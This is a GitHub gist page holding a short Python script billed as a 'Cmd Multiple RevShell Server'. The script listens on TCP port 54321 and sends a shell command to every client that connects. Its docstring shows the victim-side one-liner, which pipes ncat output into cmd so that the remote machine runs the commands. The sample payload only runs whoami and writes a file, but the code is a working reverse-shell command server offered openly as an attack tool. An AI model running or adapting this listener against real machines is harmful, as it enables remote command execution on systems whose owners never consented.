Skip to content

Instantly share code, notes, and snippets.

@aaaddress1
Created March 4, 2021 15:47
Show Gist options
  • Save aaaddress1/8bbafe5062fc4ae185a1cb75764fdab8 to your computer and use it in GitHub Desktop.
Save aaaddress1/8bbafe5062fc4ae185a1cb75764fdab8 to your computer and use it in GitHub Desktop.
cmdSrv.py
'''
Cmd Multiple RevShell Server by [email protected]
[test] $ ncat localhost 54321 | cmd
'''
import time, socket
def handleClient(connection):
try:
time.sleep(1)
connection.send(b'whoami && echo 123 > ggdada.txt && exit\n')
except Exception as e:
print(e)
def setupSocketSvr():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 54321))
sock.listen()
print('[*] server is alive now.')
while True:
connection, address = sock.accept()
print("\n[*] accept connection from: %s:%d" % (address[0], address[1]))
handleClient(connection)
if __name__ == '__main__':
setupSocketSvr()
@aaaddress1
Copy link
Author

截圖 2021-03-04 23 45 39

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment